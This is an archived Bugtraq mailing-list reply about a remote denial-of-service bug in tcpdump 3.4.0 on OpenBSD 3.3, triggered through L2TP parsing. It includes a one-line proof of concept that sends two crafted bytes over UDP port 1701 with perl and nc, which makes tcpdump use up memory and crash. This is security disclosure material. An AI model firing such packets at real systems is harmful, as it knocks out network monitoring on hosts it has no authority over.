[32931] in bugtraq
Re: Remote crash in tcpdump from OpenBSD
daemon@ATHENA.MIT.EDU (Przemyslaw Frasunek)
Sat Dec 20 19:03:10 2003
Message-ID: <3FE4CAC1.8010306@freebsd.lublin.pl>
Date: Sat, 20 Dec 2003 23:18:41 +0100
From: Przemyslaw Frasunek <venglin@freebsd.lublin.pl>
MIME-Version: 1.0
To: Henning Brauer <hb-bugtraq@bsws.de>
Cc: bugtraq@securityfocus.com
In-Reply-To: <20031220195218.GJ19209@skywalker.bsws.de>
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Henning Brauer wrote:
>> tcpdump -i lo0 -n udp and dst port 1701 &
>> perl -e 'print "\xff\x02"' | nc -u localhost 1701
> several developers including me cannot reproduce that on -current.
Sorry for the misinformation, it will not work on a loopback interface,
but it's perfectly repetable when receiving/routing such datagram on
ethernet interfaces:
<root@ext-fw:/var/log:273># uname -smr ; tcpdump -V 2>&1 | head -n 2
OpenBSD 3.3 i386
tcpdump version 3.4.0
libpcap version 0.5
<root@ext-fw:/var/log:274># tcpdump -i xl1
tcpdump: listening on xl1
On the another box:
riget:root:~# perl -e 'print "\xff\x02"' | nc -u x.x.x.x 1701
and tcpdump goes mad:
[...]
invalid AVP 256 invalid AVP 256 invalid AVP 256 invalid AVP 256 invalid
AVP 256 invalid AVP 256 invalid AVP 256 invalid AVP 256 invalid AVP 256
invalid AVP 256 invalid AVP 256 invalid AVP 256 invalid AVP 256
[...]
consuming all memory. When ulimits are reached, it segfaults.
- --
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